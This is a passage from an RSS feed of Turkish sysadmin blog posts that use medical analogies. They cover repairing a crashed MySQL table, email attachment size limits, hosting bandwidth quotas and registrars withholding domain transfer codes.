            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/veritabanim-silindi-diye-aglayip-aslinda-mysql-tablosunu-crash-eden-musteri/thumbnail" alt=""> Acil serviste nöbetçi olduğunuz bir gece, koridordan bir çığlık yükselir. Genç bir adam, sağ kolunu göğsüne bastırmış, sol eliyle bileğini tutarak içeri koşar. Gözlerinden yaşlar boşanmaktadır: <em>"Doktor bey yetişin, kolum koptu! Kemiklerim un ufak oldu, içeride hiçbir şey kalmadı, felç kaldım!"</em></p>
<p>Deneyimli bir ortopedist veya acil tıp uzmanı hastaya bakar, omzun normal yuvarlak hatlarının kaybolduğunu ve "apolet belirtisi" verdiğini görür. Teşhis açıktır: <strong>Omuz çıkığı (anterior glenohumeral dislokasyon).</strong> Kolda ne bir kopma vardır, ne de kemikler un ufak olmuştur. Kemik sapasağlamdır; sadece eklem yuvasından (glenoid kavite) birkaç santimetre dışarı kaymıştır ve kas spazmı yüzünden kilitlenmiştir. Hekim hastayı sedyeye yatırır, kolu hafifçe çeker (traksiyon) ve dışa doğru nazikçe çevirir (Kocher manevrası). Odada hafif bir <em>"klik"</em> sesi duyulur. Kemik yuvasına oturmuştur. Bir saniye önce felç olduğunu haykıran hastanın yüzündeki o dehşet anında silinir, kolunu oynatmaya başlar ve mahcup bir tebessümle doktora bakar.</p>
<p>Veritabanı yönetimi ve web altyapılarında da sistem yöneticilerinin sık sık karşılaştığı en dramatik krizlerden biri, tek bir veritabanı tablosunun disloke olması (crash durumu) sonucu müşterinin yaşadığı o kıyamet hezeyanıdır.</p>
<h3>Pazartesi 09:30: "Veritabanı Bağlantısı Kurulamıyor"</h3>
<p>Olay genellikle tipik bir WordPress veya özel yazılım çalıştıran bir e-ticaret sitesinde patlak verir. Gece yarısı sunucuda anlık bir bellek tükenmesi (OOM Killer devreye girmiştir), elektrik dalgalanması sonrası veritabanı servisinin zorla kapanması (hard kill) veya disk I/O operasyonlarının kilitlenmesi yaşanmıştır.</p>
<p>Sabah mesaisi başladığında site sahibi tarayıcısını açar ve o meşhur siyah beyaz ölüm ekranıyla karşılaşır:</p>
<blockquote>
<p><strong>"Error establishing a database connection" (Veritabanı bağlantısı kurulurken hata oluştu)</strong></p>
</blockquote>
<p>Site sahibi yönetim paneline (<code>/wp-admin</code>) girmeyi dener; yine aynı hata. phpMyAdmin'e girer, veritabanı adının yanında kırmızı bir ünlem işareti görür veya tablolara tıkladığında ekranda şu uyarı belirir:</p>
<pre><code class="language-sql">SQL Error (145): Table './firma_wp/wp_options' is marked as crashed 
and should be repaired
</code></pre>
<p>Kullanıcının zihninde o an dünyalar yıkılır. SQL hata kodundaki <code>crashed</code> (çöktü/hasar gördü) kelimesini görür görmez beynindeki panik merkezi amigdala alev alır. Kullanıcı için "çöktü" demek, "buharlaştı, yok oldu, silindi" demektir.</p>
<h3>Destek Masasında Ecel Terleri</h3>
<p>Destek biletlerine saniyede 4 adet bilet düşmeye başlar. Müşterinin açtığı biletlerin başlıkları acil servisteki omuz çıkığı feryadından farksızdır:</p>
<blockquote>
<p><strong>"ACİL! YARDIM EDİN! BÜTÜN VERİTABANIM SİLİNMİŞ!"</strong><br>
<strong>"15 YILLIK ŞİRKET ARŞİVİMİZ YOK OLDU! BİZE KİM SALDIRDI?"</strong><br>
<strong>"DERHAL DÜNKÜ YEDEĞİ GERİ YÜKLEYİN YOKSA İNTİHAR EDECEĞİM!"</strong></p>
</blockquote>
<p>Müşteri telefon santralini de kilitler. Telefonda ağlamaklı bir sesle şirketin tüm müşteri kayıtlarının, ürün stoklarının ve siparişlerinin silindiğini, firmanın iflasın eşiğinde olduğunu haykırır. Ona göre gece karanlık eller sunucuya sızmış ve <code>DROP DATABASE</code> komutuyla bütün veriyi uzaya fırlatmıştır.</p>
<h3>"REPAIR TABLE": Ortopedik Redüksiyonun Dijital Kopyası</h3>
<p>Sistem mühendisi terminali açar. MySQL/MariaDB sunucusuna SSH üzerinden root olarak bağlanır:</p>
<pre><code class="language-bash">mysql -u root -p
USE firma_wp;
CHECK TABLE wp_options;
</code></pre>
<p>Çıktı durumu netleştirir:</p>
<pre><code class="language-text">+----------------------+-------+----------+-------------------------------------------------------+
| Table                | Op    | Msg_type | Msg_text                                              |
+----------------------+-------+----------+-------------------------------------------------------+
| firma_wp.wp_options  | check | error    | Size of datafile does not match indexfile; is crashed |
+----------------------+-------+----------+-------------------------------------------------------+
</code></pre>
<p>Veritabanı silinmemiştir! Tablo oradadır, veriler disktedir. Sadece ani kapanma yüzünden veri dosyasının boyutu ile indeks dosyasının (<code>.MYI</code> veya InnoDB tablespace kayıtları) son durumu arasındaki işaretçi (pointer) uyuşmazlığı oluşmuştur. Tıpkı omuz kemiğinin yuvasından çıkması gibi, indeks ağacı eklem yerinden oynamıştır.</p>
<p>Mühendis terminale o sihirli ortopedik manevra komutunu yazar:</p>
<pre><code class="language-sql">REPAIR TABLE wp_options;
</code></pre>
<p>Veya konsoldan:</p>
<pre><code class="language-bash">myisamchk -r -q /var/lib/mysql/firma_wp/wp_options.MYI
</code></pre>
<p>Ekranda birkaç milisaniye içinde şu çıktı belirir:</p>
<pre><code class="language-text">+----------------------+--------+----------+----------+
| Table                | Op     | Msg_type | Msg_text |
+----------------------+--------+----------+----------+
| firma_wp.wp_options  | repair | status   | OK       |
+----------------------+--------+----------+----------+
</code></pre>
<p>Sistem yöneticisi tarayıcıdan müşterinin web sitesine tıklar. Sayfa 0.4 saniyede, tüm görselleriyle, slider'larıyla ve ürünleriyle şak diye açılır. Olayın başından sonuna geçen süre 45 saniyedir.</p>
<p>Destek masasına yazılan kısa yanıt: <em>"Ahmet Bey, sistemde herhangi bir veri kaybı yaşanmamıştır. wp_options tablonuzdaki geçici indeks kayması onarılmıştır. Siteniz yayındadır, iyi çalışmalar dileriz."</em></p>
<p>Hattın diğer ucundaki o kıyamet koparan müşteriden gelen yanıt ise her zamanki gibi mahcup ve şaşkındır: <em>"Aaa, gelmiş... Çok teşekkürler, biz de silindi sandık korktuk."</em></p>
<h3>MyISAM Mirasından Modern InnoDB Mimarisine</h3>
<p>Bu "tablo çıkığı" sendromu, çoğunlukla eski nesil <strong>MyISAM</strong> depolama motorunun (storage engine) mirasıdır. MyISAM mimarisinde veriler (<code>.MYD</code>) ile indeksler (<code>.MYI</code>) ayrı dosyalarda tutulur ve işlem güvenliği (ACID uyumluluğu, transactions) yoktur. Sunucu ani kapandığında indeks dosyası bozulmaya son derece meyillidir.</p>
<p>Oysa modern <strong>InnoDB</strong> motoru, bu tür senaryolar için geliştirilmiş güçlü bir savunma mekanizmasına sahiptir:</p>
<ol>
<li><strong>Write-Ahead Logging (WAL):</strong> Veriler diske yazılmadan önce <code>ib_logfile</code> (redo log) alanına kaydedilir.</li>
<li><strong>Crash Recovery:</strong> Sunucu yeniden başladığında InnoDB otomatik olarak logları tarar, tamamlanmamış işlemleri geri alır (rollback) ve diske yazılmamış işlemleri tamamlar (redo).</li>
<li><strong>innodb_force_recovery:</strong> Çok ağır bozulmalarda bile 1'den 6'ya kadar seviyelerle veritabanı salt-okunur modda ayağa kaldırılıp veriler <code>mysqldump</code> ile kurtarılabilir.</li>
</ol>
<p>Buna rağmen hâlâ piyasada MyISAM motoruyla çalışan yüz binlerce eski veritabanı bulunmakta ve bu tablolar her ani yükte sistem yöneticilerine acil servis nöbeti yaşatmaktadır.</p>
<h3>Kriz Anında Soğukkanlılık Reçetesi</h3>
<p>Bir veritabanı hatasıyla karşılaştığınızda kıyamet senaryoları yazmadan önce uygulanması gereken altın kurallar şunlardır:</p>
<ul>
<li><strong>Hata Mesajını Dikkatle Okuyun:</strong> "Connection refused" servis durdu demektir; "Table crashed" indeks bozuldu demektir; "Access denied" şifre yanlış demektir. Hiçbiri "Verileriniz silindi" anlamına gelmez.</li>
<li><strong>MyISAM Tablolarını InnoDB'ye Dönüştürün:</strong> <code>ALTER TABLE tablo_adi ENGINE=InnoDB;</code> komutuyla eski tablolarınızı modern, çökmeye dayanıklı motora geçirin.</li>
<li><strong>Yedekten Önce Mevcut Durumu Koruyun:</strong> Panikle eski bir yedeği doğrudan geri yüklemeyin! Eski yedeği yüklerseniz, son 3 gündür sitenize gelen gerçek siparişleri ve yeni kullanıcıları kendi elinizle silmiş olursunuz. Önce mevcut bozuk veritabanının fiziksel bir kopyasını alın.</li>
<li><strong>Otomatik Onarım Tanımları:</strong> WordPress kullanıyorsanız <code>wp-config.php</code> dosyasına geçici olarak <code>define('WP_ALLOW_REPAIR', true);</code> satırını ekleyip <code>/wp-admin/maint/repair.php</code> adresinden tek tıkla tabloları onarabilirsiniz.</li>
</ul>
<p>Bilgisizlik panik doğurur; panik ise yanlış kararlara yol açar. Tıpta nasıl her kol ağrısı ampütasyon gerektirmiyorsa, veritabanındaki her çökme hatası da felaket değildir. Çoğu zaman gereken şey panikle bağırmak değil, doğru manevrayla o disloke olmuş tabloyu yuvasına oturtmaktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>MySQL</category>
            <category>Veritabanı</category>
            <category>WordPress</category>
            <category>Kriz Yönetimi</category>
            <category>InnoDB</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/veritabanim-silindi-diye-aglayip-aslinda-mysql-tablosunu-crash-eden-musteri/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Mailim Boyutu Büyük Olduğu İçin Gitmiyor": 50 MB'lık PDF Attach Etme Çilesi]]></title>
            <link>http://localhost:3000/blog/post/mailim-boyutu-buyuk-oldugu-icin-gitmiyor-50-mblik-pdf-attach-etme-cilesi</link>
            <guid>mailim-boyutu-buyuk-oldugu-icin-gitmiyor-50-mblik-pdf-attach-etme-cilesi</guid>
            <pubDate>Sun, 29 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Küresel SMTP standartlarında 20-25 MB olan e-posta ek sınırını zorlayıp, 50 MB boyutundaki baskı kataloğunu veya şantiye çizimini e-postaya iliştirip gönderemeyince "Sunucunuz çalışmıyor!" diye feryat eden kullanıcının Base64 çıkmazı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/mailim-boyutu-buyuk-oldugu-icin-gitmiyor-50-mblik-pdf-attach-etme-cilesi/thumbnail" alt=""> Acil tıp literatüründe "Cafe Coronary" (Restoran Koroneri) olarak bilinen çok çarpıcı ve ölümcül bir vaka vardır. Lokantada yemek yiyen bir kişi, iyi çiğnemediği koca bir biftek parçasını tek hamlede yutmaya kalkar. O devasa et parçası yemek borusunun (özofagus) üst kısmında takılır, esnekliğini kaybeden doku kilitlenir ve hemen önündeki nefes borusuna (trakea) dışarıdan şiddetli bir mekanik bası uygular. Hasta bir anda nefessiz kalır, morarır, ellerini boğazına götürür. Masadakiler hastanın kalp krizi geçirdiğini zannedip panikler; oysa sorun kalpte değil, insan anatomisinin taşıma kapasitesini aşan şuursuz bir lokmanın hava yolunu tıkamasında yatar. Heimlich manevrası yapılmaz veya acil laringoskopiyle o lokma çıkarılmazsa hasta dakikalar içinde asfiksiden hayatını kaybeder.</p>
<p>İnternet protokolleri ve kurumsal e-posta altyapılarında da sistem yöneticilerinin boğazını sıkan en yaygın ve inatçı sendrom, tam olarak bu dijital restoran koroneridir: <strong>50 megabaytlık bir PDF dosyasını SMTP protokolünün boğazından geçirmeye çalışmak.</strong></p>
<h3>Cuma Akşamı 17:45: İhale Dosyası Gönderilemiyor</h3>
<p>Cuma akşamı mesai bitimine on beş dakika kala destek merkezinin telefonu acı acı çalar. Hattın diğer ucunda tanınmış bir mimarlık veya inşaat firmasının proje müdürü vardır. Sesindeki stres seviyesi tansiyonu 200'e fırlatacak düzeydedir:</p>
<blockquote>
<p><em>"Kardeşim siz ne biçim bir hosting şirketisiniz! Yarım saattir belediyenin ihale komisyonuna mimari projeyi ve şartnameyi gönderemiyorum! Outlook 'Gönder/Al Hatası' verip duruyor. İhale saat 18:00'de kapanıyor, 10 milyon liralık işimiz yanacak sizin yüzünüzden! Sunucunuzun mail motoru bozuk, derhal düzeltin şunu!"</em></p>
</blockquote>
<p>Destek mühendisi hemen SMTP giden posta loglarını (Exim / Postfix) canlı olarak izlemeye (<code>tail -f</code>) alır:</p>
<pre><code class="language-log">2026-03-29 17:42:11 H=mail-client.firma.com.tr [195.175.xx.xx]:49812 
rejected after DATA: message size 68241920 exceeds size limit 26214400 
of server mail.firma.com.tr
</code></pre>
<p>Log satırı her şeyi haykırmaktadır: Gönderilmeye çalışılan e-posta boyutu tam <strong>68 Megabayt</strong>'tır ve sunucunun maksimum kabul sınırı olan <strong>25 Megabayt</strong> limitine toslamıştır.</p>
<h3>1982 Yılından Kalan Telgraf: SMTP ve Base64 Matematik Tuzağı</h3>
<p>Müşteriye sakin bir sesle durum izah edilir: <em>"Ahmet Bey, mailinize eklediğiniz dosya 50 MB civarında görünüyor. Küresel e-posta protokolü sınırları gereği sunucumuz ve alıcı sunucu en fazla 25 MB büyüklüğündeki iletileri kabul edebilir. Dosyanızı WeTransfer, Google Drive veya OneDrive linki olarak paylaşmanız gerekiyor."</em></p>
<p>Müşterinin yanıtı değişmez:</p>
<blockquote>
<p><em>"Ne 68 megabaytı kardeşim, benim dosyam bilgisayarda tam 48 megabayt! Hem 48 MB ne ki? Çağımızda 48 MB dosya mı kaldı, internette gigabaytlarca film izliyoruz! Bana ne küresel kuraldan, açın sunucunun limitini 100 megabayt yapın, gitmesi lazım bu mailin!"</em></p>
</blockquote>
<p>Müşterinin anlamadığı iki devasa gerçek vardır: Birincisi <strong>Base64 kodlaması</strong>, ikincisi ise <strong>SMTP protokolünün felsefesi</strong>.</p>
<ol>
<li><strong>Base64 Şişmesi (%33 Kuralı):</strong> SMTP (Simple Mail Transfer Protocol), 1982 yılında RFC 821 ile tanımlandığında sadece 7-bit ASCII metin (yani daktilo yazısı) taşımak üzere tasarlanmıştı. E-postanın içine resim, PDF veya Word belgesi gibi 8-bit ikili (binary) bir dosya eklediğinizde (MIME standardı), bu ikili veri 7-bit ASCII karakterlere dönüştürülür. Bu dönüştürme işlemi (Base64), dosya boyutunu matematiksel olarak tam <strong>%33 oranında büyütür</strong>. Yani bilgisayarınızda 48 MB olan bir PDF dosyası, e-posta paketinin içine girdiği an <strong>64 ila 68 MB</strong> arasına fırlar!</li>
<li><strong>Posta Sunucusu Kargo Kamyonu Değildir:</strong> E-posta, anlık haberleşme ve resmi yazışma protokolüdür; devasa dosya dağıtım şebekesi (CDN / FTP) değildir. Bir e-posta gönderildiğinde hafızada işlenir, antivirüs ve antispam tarayıcılarından (ClamAV, SpamAssassin) geçirilir, kuyruğa (mail queue) yazılır ve alıcı sunucuya aktarılır. Eğer her kullanıcı 100 MB'lık dosyalar eklemeye kalkarsa, sunucunun RAM'i dakikalar içinde tükenir ve posta kuyruğu felç olur.</li>
</ol>
<h3>Karşı Tarafın Duvarı: Alıcı Sunucu Reddi</h3>
<p>Diyelim ki destek ekibi müşterinin aşırı ısrarına dayanamadı ve kendi sunucusundaki limiti <code>message_size_limit = 104857600</code> (100 MB) yaptı. Mail müşterinin giden kutusundan başarıyla çıktı.</p>
<p>Sorun çözüldü mü? Hayır, felaket daha yeni başlıyor!</p>
<p>Mail alıcı tarafın (örneğin belediyenin veya kurumsal şirketin kullandığı Microsoft 365, Google Workspace veya özel posta sunucusu) kapısına varır. Microsoft 365 varsayılan sınırı 25 MB'tır, Gmail sınırı 25 MB'tır. Alıcı sunucu kapıda bekleyen o 68 MB'lık devi görür görmez kapıyı yüzüne çarpar:</p>
<pre><code class="language-text">Remote server returned: 552 5.3.4 Message size exceeds fixed maximum message size
</code></pre>
<p>Ve mail geri teper (bounce). Müşteri bir kez daha feryat eder: <em>"Sizin sunucunuz yine beceremedi!"</em> Oysa dünya standartları bir konsensüstür; otobanda hız limitini siz kendi aracınızda kaldırsanız bile gişelerden geçemezsiniz.</p>
<h3>Bolus Tıkanmasına Karşı Modern Mimari Çözümler</h3>
<p>Yemek borusuna takılan koca lokmayı tek parçada yutamazsınız; bıçakla kesip küçük lokmalara bölmeniz gerekir. Dosya paylaşımında da modern internetin kuralı budur:</p>
<ul>
<li><strong>Bulut Depolama ve Bağlantı Paylaşımı (Cloud Links):</strong> 10 MB'ı aşan her türlü dosya için kurumsal OneDrive, Google Drive, Dropbox veya WeTransfer gibi araçlar kullanılmalıdır. E-postaya dosyanın kendisi değil, şifreli ve güvenli indirme linki eklenmelidir.</li>
<li><strong>Otomatik Büyük Ek Eklentileri:</strong> Modern Outlook ve Thunderbird sürümlerinde bulunan "Mail-Drop" veya bulut eklentileri sayesinde kullanıcı büyük bir dosya eklediğinde istemci bunu otomatik olarak buluta yükleyip e-postaya link olarak iliştirebilir.</li>
<li><strong>Şirket İçi Dosya Transfer Portalları:</strong> Kurumlar için OwnCloud, Nextcloud gibi şirket içi güvenli sunucularda çalışan self-hosted dosya paylaşım ağları kurulmalıdır.</li>
</ul>
<p>SMTP borusundan 50 MB'lık inşaat projesini geçirmeye çalışmak, itfaiye hortumundan kum püskürtmeye benzer; ne su akar ne yangın söner, sadece boru patlar. E-posta bir telgraftır; kütüphaneyi telgraf tellerinden taşımaya çalışmak teknolojiye değil, fizik kurallarına meydan okumaktır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>E-Posta</category>
            <category>SMTP</category>
            <category>Base64</category>
            <category>Sistem Yönetimi</category>
            <category>Ağ Protokolleri</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/mailim-boyutu-buyuk-oldugu-icin-gitmiyor-50-mblik-pdf-attach-etme-cilesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Sunucu Trafiğim (Bandwidth) Bitti, Sitem Kapandı!": Ay Sonu Limit Kilitlenmesi]]></title>
            <link>http://localhost:3000/blog/post/sunucu-trafigim-bandwidth-bitti-sitem-kapandi-ay-sonu-limit-kilitlenmesi</link>
            <guid>sunucu-trafigim-bandwidth-bitti-sitem-kapandi-ay-sonu-limit-kilitlenmesi</guid>
            <pubDate>Sat, 28 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Aylık 100 GB trafik kotalı pakette ana sayfaya optimizasyonsuz 15 MB boyutunda ham afişler koyup ayın 20'sinde 509 Bandwidth Limit Exceeded hatasına toslayan esnafın, kotayı kabullenmeyip "Ziyaretçilerimi engelliyorsunuz" diye feryat etmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-trafigim-bandwidth-bitti-sitem-kapandi-ay-sonu-limit-kilitlenmesi/thumbnail" alt=""> Acil serviste ağır travma veya yanık vakası geldiğinde hekimin ilk baktığı hayati parametrelerden biri hastanın intravasküler sıvı hacmidir. Vücuttaki damar yatağında dolaşan kan ve plazma, dokulara oksijen taşıyan akışkan trafiktir. Eğer bir hastanın damarında büyük bir delik açılmışsa veya ağır bir yanık sonucu plazma kontrolsüzce dışarı sızıyorsa (hipovolemik şok), kalbin pompalayacağı sıvı kalmaz. Kan basıncı düşer, nabız zayıflar ve vücut hayati olmayan organların damarlarını büzerek sistemi kilitler (organ shut-down). Hekim içeriye agresif sıvı replasmanı yapmazsa organizma susuzluktan ve kansızlıktan iflas eder.</p>
<p>Web barındırma ekosisteminde de sunucuların can damarı <strong>Bant Genişliği (Bandwidth / Trafik)</strong> kotasıdır. Ve her ayın 20'si ile 25'i arasında hosting firmalarının destek ekranlarını kırmızıya boyayan şey, tam olarak bu hipovolemik şok tablosunun dijital kopyasıdır: <strong>509 Bandwidth Limit Exceeded.</strong></p>
<h3>Ayın 22'si: Dükkânın Kapısına İnen Dijital Kepenk</h3>
<p>Olay genellikle yerel bir halı yıkama firması, butik mobilyacı veya toptan kumaşçının web sitesinde patlak verir. Şirket sahibi sabah iş yerine gelir, bilgisayarını açar ve kendi web sitesini ziyaret etmek ister. Karşısına çıkan ekran ne şık ürün fotoğraflarını içerir, ne de kurumsal iletişim formunu. Beyaz bir arka plan üzerinde gri harflerle buz gibi bir HTTP durum kodu yazmaktadır:</p>
<pre><code class="language-text">509 Bandwidth Limit Exceeded
The server is temporarily unable to service your request due to the site owner 
reaching his/her bandwidth limit. Please try again later.
</code></pre>
<p>Şirket sahibinin tansiyonu anında fırlar. İlk refleks, hosting şirketinin telefon numarasını çevirmektir:</p>
<blockquote>
<p><em>"Kardeşim siz benim dükkânımı hangi hakla kapatıyorsunuz? Müşterilerim arıyor, siteye giremiyoruz diyor! Dün fatura günü değildi, borcum harcım yok! Siz benim ticaretimi engellemek için kasıtlı olarak sitemi kapattınız! Hemen açın o siteyi, yoksa Tüketici Mahkemesi'ne gideceğim!"</em></p>
</blockquote>
<h3>15 Megabaytlık Afiş Cinayeti</h3>
<p>Destek mühendisi sunucu kontrol paneline girer. Müşterinin paket özelliklerine bakar: Standart Kurumsal Paket, Aylık Trafik Limiti: <strong>100 Gigabayt</strong>.</p>
<p>Ardından <code>awstats</code> ve Apache erişim loglarını açar. Karşılaştığı tablo, bir web tasarım cinayetinin otopsisidir:</p>
<ol>
<li>Sitenin günlük tekil ziyaretçi sayısı sadece <strong>40 kişidir</strong>.</li>
<li>Ancak sitenin ana sayfasındaki manşet (slider) bölümüne, firmanın tabelacısının hazırladığı ultra yüksek çözünürlüklü baskı afişi doğrudan yüklenmiştir: <code>banner1.jpg</code> -> <strong>14.8 Megabayt!</strong></li>
<li>İkinci slider görseli: <code>kampanya.png</code> -> <strong>18.2 Megabayt!</strong></li>
<li>Sitenin arka planına gömülen kısa tanıtım videosu: <code>video.mp4</code> -> <strong>45 Megabayt!</strong></li>
</ol>
<p>Matematik yalan söylemez. Bir ziyaretçi sitenin ana sayfasına girdiğinde, tarayıcısı tek bir sayfa yüklemesi için sunucudan tam <strong>78 Megabayt</strong> veri çekmektedir. Günde 40 ziyaretçi, günde yaklaşık 3.1 GB veri transferi demektir. Üstüne Google arama botlarının ve sosyal medya botlarının siteyi taraması eklendiğinde, günlük trafik tüketimi 5 GB'a dayanmaktadır.</p>
<p>Ve ayın 22'sinde, o 100 GB'lık dijital depo damlasına kadar tükenmiştir. Web sunucusu (Apache/LiteSpeed/Nginx), sözleşmedeki kuralı işletmiş ve paket sınırına ulaşıldığı için siteyi otomatik olarak dondurmuştur.</p>
<h3>"Sınırsız Dememiş Miydiniz?" Pazarlığı</h3>
<p>Destek mühendisi durumu müşteriye aktarır: <em>"Mehmet Bey, sitenizin ana sayfasına koyduğunuz 3 adet görsel toplam 80 MB yer tutuyor. 100 GB'lık aylık transfer limitinizi doldurmuşsunuz. Görsellerinizi web formatına (WebP / sıkıştırılmış JPEG) dönüştürüp 200 KB seviyesine indirirseniz siteniz ayda 10 bin ziyaretçiyi rahatlıkla kaldırır."</em></p>
<p>Müşterinin verdiği yanıt, sektörün değişmez felsefi krizidir:</p>
<blockquote>
<p><em>"Ne demek görsel büyük? Ben o fotoğraflara bin lira para verdim fotoğrafçıya, pırıl pırıl net olsun diye! Ben anlamam kilobayttan megabayttan. Bana hostingi satarken 'her şey sınırsız' demiştiniz! Sınırsızsa bu kota neyin nesi? Açın limitimi sınırsız yapın!"</em></p>
</blockquote>
<p>Kullanıcı, pazarlama broşürlerinde gördüğü o meşhur "Sınırsız Hosting" yalanının kurbanıdır. Dünyadaki hiçbir veri merkezi sınırsız fiziksel hatta ve sınırsız transit bant genişliğine sahip değildir. Türk Telekom'a, Cogent'e veya Telia'ya her ay gigabit başına binlerce euro ödeyen bir veri merkezinin, 150 liralık bir müşteriye sınırsız veri pompalaması fizik ve ekonomi kurallarına aykırıdır.</p>
<h3>Musluğu Açık Bırakıp Sayacı Suçlamak</h3>
<p>Bir restoranda açık büfe satın aldığınızda, tabağınıza yiyebileceğiniz kadar yemek koyabilirsiniz. Tabağınızı doldurup yemeden çöpe döker ve bunu günde elli kez tekrarlarsanız restoran yönetimi sizi kapının önüne koyar.</p>
<p>Web performansı da bir saygı ve optimizasyon meselesidir:</p>
<ul>
<li><strong>Görsel Optimizasyonu:</strong> Web için 15 MB'lık afiş kullanmak cehalettir. TinyPNG, Squoosh veya cPanel üzerindeki otomatik modüllerle o görsel kalite kaybı olmadan 150 KB seviyesine (%99 küçülme) indirilebilir.</li>
<li><strong>CDN (Cloudflare) Entegrasyonu:</strong> Ücretsiz bir Cloudflare hesabı kurarak statik dosyaların (görseller, CSS, JS) Cloudflare'in kenar (edge) sunucularından önbellekten servis edilmesini sağlamak. Böylece sunucuya binen bant genişliği yükü %80 oranında azalır.</li>
<li><strong>Tarayıcı Önbelleklemesi (Browser Caching):</strong> <code>.htaccess</code> içine <code>ExpiresByType</code> kuralları ekleyerek aynı kullanıcının siteyi her ziyaretinde o logoları ve afişleri tekrar tekrar indirmesini engellemek.</li>
</ul>
<p>Bant genişliği bir su şebekesidir; evdeki musluğu sonuna kadar açıp bahçeyi suyla basan birinin, ay sonunda gelen su faturasını görünce belediyeyi "Bana pusu kurdunuz" diye suçlamaya hakkı yoktur. Optimizasyon lüks değil, dijital varoluşun asgari hijyen kuralıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Bandwidth</category>
            <category>Hosting</category>
            <category>Optimizasyon</category>
            <category>Sistem Yönetimi</category>
            <category>Web Performans</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-trafigim-bandwidth-bitti-sitem-kapandi-ay-sonu-limit-kilitlenmesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Domain Transfer Kodu (EPP/AuthCode) Verme Zorbalığı"]]></title>
            <link>http://localhost:3000/blog/post/domain-transfer-kodu-eppauthcode-verme-zorbaligi</link>
            <guid>domain-transfer-kodu-eppauthcode-verme-zorbaligi</guid>
            <pubDate>Fri, 27 Mar 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Müşterisi başka bir firmaya gitmesin diye alan adı transfer kodunu (EPP/AuthCode) vermemek için "Sistemimizde bakım var" veya "Yönetim onayında" yalanlarıyla dijital rehine krizleri çıkaran merdiven altı firmaların ahlaki tükenişi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/domain-transfer-kodu-eppauthcode-verme-zorbaligi/thumbnail" alt=""> Sağlık hukukunda ve hasta hakları mevzuatında çok net bir ilke vardır: Hastanın kendi tıbbi dosyası, epikriz raporları, ameliyat notları ve laboratuvar tahlilleri hastanın mülkiyetindedir. Bir hasta tedavisini başka bir hastanede, başka bir hekimle sürdürmek istediğinde hastane yönetimi "Biz size bu dosyaları veremeyiz, doktorumuz tatilde, arşiv sistemimiz çöktü" diyemez. Hastanın dosyasını alıkoymak, onu zorla kendi hastanenize mahkûm etmeye çalışmak suçtur ve ağır malpraktis cezası gerektirir. Tedavi güvene dayanır; zorbalıkla hasta tutulmaz.</p>
<p>Alan adı ve web barındırma pazarında ise ne yazık ki bazı merdiven altı firmalar ve ahlaktan yoksun sözde "web ajansları", müşteriyi ellerinde tutabilmek için tam olarak bu rehine tutma taktiğine başvurmaktadır: <strong>EPP / Auth-Code (Transfer Yetkilendirme Kodu) vermemek.</strong></p>
<h3>Gitmek İsteyeni Düşman Bellemek</h3>
<p>Senaryo her defasında aynı çirkinlikle sahnelenir. Müşteri, 3 yıl boyunca yerel bir hosting firmasından veya küçük bir web tasarımcısından hizmet almıştır. Ancak firmanın sürekli kesilen sunucularından, ilgisiz destek ekibinden veya fahiş fiyat artışlarından bıkmıştır. Artık alan adını (<code>alanadiniz.com</code>) uluslararası standartlara sahip, kurumsal ve şeffaf bir kayıt operatörüne (Registrar) taşımak ister.</p>
<p>Alan adı transferi, ICANN kurallarına göre son derece basit ve standart bir prosedürdür:</p>
<ol>
<li>Alan adı üzerindeki <strong>Transfer Kilidi (Registrar Lock / TransferLock)</strong> kaldırılır.</li>
<li>Alan adı için üretilen rastgele şifreli <strong>EPP / Auth-Code</strong> alınır.</li>
<li>Yeni firmaya gidilip transfer siparişi verilir ve bu kod girilir.</li>
<li>Kayıtlı e-posta adresine gelen onay linkine tıklanır ve 5 gün içinde transfer tamamlanır.</li>
</ol>
<p>Fakat müşteri panelinde bir bakar ki: "Transfer Kilidi Aç" butonu yoktur. "Transfer Kodu Al" butonu ise tamamen gizlenmiştir!</p>
<h3>Bürokrasi Tiyatrosu: "Dilekçe Yazıp Noterden Onaylatın"</h3>
<p>Müşteri destek masasına bilet açar veya firmayı arar: <em>"Merhaba, alan adımı başka bir firmaya transfer etmek istiyorum. Lütfen transfer kilidini açıp EPP kodumu iletir misiniz?"</em></p>
<p>İşte o andan itibaren merdiven altı firmanın pişkin bahane üretme çarkları dönmeye başlar:</p>
<ul>
<li><strong>1. Gün:</strong> <em>"Talebiniz alınmıştır, üst yönetime iletildi. Transfer departmanımız haftalık periyotlarla bu işlemleri onaylamaktadır."</em></li>
<li><strong>3. Gün:</strong> <em>"Güvenlik protokollerimiz gereği transfer kodu doğrudan verilememektedir. Lütfen şirket imza sirkülerinizi, vergi levhanızı ve noter onaylı transfer talep dilekçenizi ıslak imzalı olarak merkez ofisimize kargolayınız."</em> (Oysa alan adını satarken tek tıkla kredi kartından para çekmeyi bilmişlerdir!)</li>
<li><strong>7. Gün:</strong> <em>"Sistemimizde ICANN kaynaklı genel bir bakım çalışması vardır. Transfer kodları şu an üretilememektedir, lütfen haftaya tekrar deneyiniz."</em></li>
<li><strong>10. Gün (Perdenin Arkasındaki İtiraf):</strong> <em>"Ahmet Bey, bizden neden ayrılmak istiyorsunuz? Size özel %20 indirim yapalım. Eğer yine de transfer etmek istiyorsanız 250 TL 'Alan Adı İşlem ve Dosya Masrafı' ödemeniz gerekmektedir."</em></li>
</ul>
